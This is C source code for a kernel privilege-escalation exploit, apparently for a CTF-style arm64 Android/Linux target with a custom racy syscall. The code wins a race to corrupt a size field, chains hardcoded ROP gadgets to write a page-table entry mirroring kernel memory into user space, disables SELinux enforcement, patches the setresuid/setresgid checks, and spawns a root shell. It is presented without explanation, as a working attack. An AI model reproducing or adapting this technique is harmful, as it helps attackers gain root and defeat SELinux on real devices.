1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174
| #include <unistd.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <sys/prctl.h> #include <linux/keyctl.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sched.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sched.h> #include <unistd.h> #include <sys/mman.h>
#define SYS_race 604
struct mystruct { size_t size; char buffer[0]; };
static unsigned int try_num = 1000; static unsigned int dest_num = 0x20; static unsigned int evil_value = 0x10;
int trigger_ready = 0; int flipping_ready = 0; int finish = 0; unsigned int interval = 0;
void flipping_thread(struct mystruct * st1) { while(!finish) { flipping_ready = 1; while(!trigger_ready) {} usleep(interval); st1->size = evil_value; interval+=10; if(interval > 1000) interval = 0; flipping_ready = 0; } }
#define buffersize 0x10000
unsigned long swapper_pg_dir = 0xFFFFFFC00007D000; unsigned long d_block_addr = 0x0; unsigned long d_block = 0x0;
void init_mirror(unsigned long kernel_phys, unsigned long mirror_base) { int index1 = (mirror_base & 0x0000007fc0000000) >> 30; d_block_addr = swapper_pg_dir + index1 * 8; printf("d_block_addr: 0x%lx + %d x 8 = 0x%lx\n", swapper_pg_dir, index1, d_block_addr);
d_block = 0; d_block |= 0x1 ; d_block |= (1u << 11); d_block |= (1u << 10); d_block |= (1u << 9); d_block |= 0x40; d_block |= 0x20; d_block |= 0x10; d_block |= (kernel_phys & 0x0000ffffc0000000); d_block |= (1ul << 52); d_block |= (1ul << 53); d_block |= (1ul << 54); printf("d_block = 0x%lx\n", d_block); }
#define GADGET1 0xFFFFFFC0003A4BEC #define GADGET2 0xFFFFFFC0001A82B8 #define GADGET3 0xffffffc000385d8c #define GADGET4 0xFFFFFFC0000C33A4
#define IMAGE_PHYS_ADDR 0x40080000 #define RE_MAP_ADDR 0xFFFFFFC200000000 #define IMAGE_BASE 0xFFFFFFC000080000
int main(int argc, char *argv[]){ init_mirror(IMAGE_PHYS_ADDR, RE_MAP_ADDR);
void* user_addr = mmap((void*)0x40000000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0); if( user_addr == (void*)-1) err(1, "mmap() failed"); printf("mmap addr: 0x%lx\n", user_addr);
struct mystruct* st = malloc(sizeof(struct mystruct) + 0x20); *((unsigned long*)st->buffer)=0xe3575ca28750bdec; *(((unsigned long*)st->buffer)+1)=0x2355615aefbd6548; *(((unsigned long*)st->buffer)+2)=0xFFFFFFC0000C3060; *(((unsigned long*)st->buffer)+3)=GADGET1; st->size = dest_num;
int digestsize = 0x100; char* buff = malloc(buffersize); char* digest = malloc(digestsize); memset(buff, 0, buffersize); memset(digest, 0, digestsize);
pthread_t t1; pthread_create(&t1, NULL, flipping_thread, st);
for (int i = 0; i < try_num; i++) {
*(unsigned long*)(buff)=user_addr; *(unsigned long*)(buff+0x10)=d_block; *(unsigned long*)(buff+0x18)=GADGET2; *(unsigned long*)(buff+0x60)=GADGET3; *(unsigned long*)(buff+0x70)=d_block_addr; *(unsigned long*)(user_addr+0x28)=user_addr; *(unsigned long*)(user_addr+0x30)=GADGET4;
while(!flipping_ready){} printf("Try for the %d time\n", i); trigger_ready = 1; int ret = syscall(SYS_race, st, buff, buffersize, digest); if (ret < 0) printf("Execute syscall failed.\n");
trigger_ready = 0; st->size = dest_num; } finish = 1;
pthread_join(t1, NULL);
unsigned long selinux_enforcing_addr = 0xFFFFFFC0006EFA0C; unsigned long selinux_enforcing_addr_new = RE_MAP_ADDR + 0x80000 + (selinux_enforcing_addr - IMAGE_BASE); printf("selinux_enforcing_addr_new: 0x%lx\n", selinux_enforcing_addr_new); *(int*)selinux_enforcing_addr_new = 0x0;
unsigned long setresuid_if_addr = 0xFFFFFFC0000ADF44; unsigned long setresuid_if_addr_new = RE_MAP_ADDR + 0x80000 + (setresuid_if_addr - IMAGE_BASE); *(char *)(setresuid_if_addr_new+3) = 0x34; printf("setresuid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresuid_if_addr_new);
unsigned long setresgid_if_addr = 0xFFFFFFC0000AE1BC; unsigned long setresgid_if_addr_new = RE_MAP_ADDR + 0x80000 + (setresgid_if_addr - IMAGE_BASE); *(char *)(setresgid_if_addr_new+3) = 0x35; printf("setresgid_if_addr_new content: 0x%lx\n",*(unsigned long*)setresgid_if_addr_new);
setresuid(0,0,0); setresgid(0,0,0);
system("/system/bin/sh");
return 0; }
|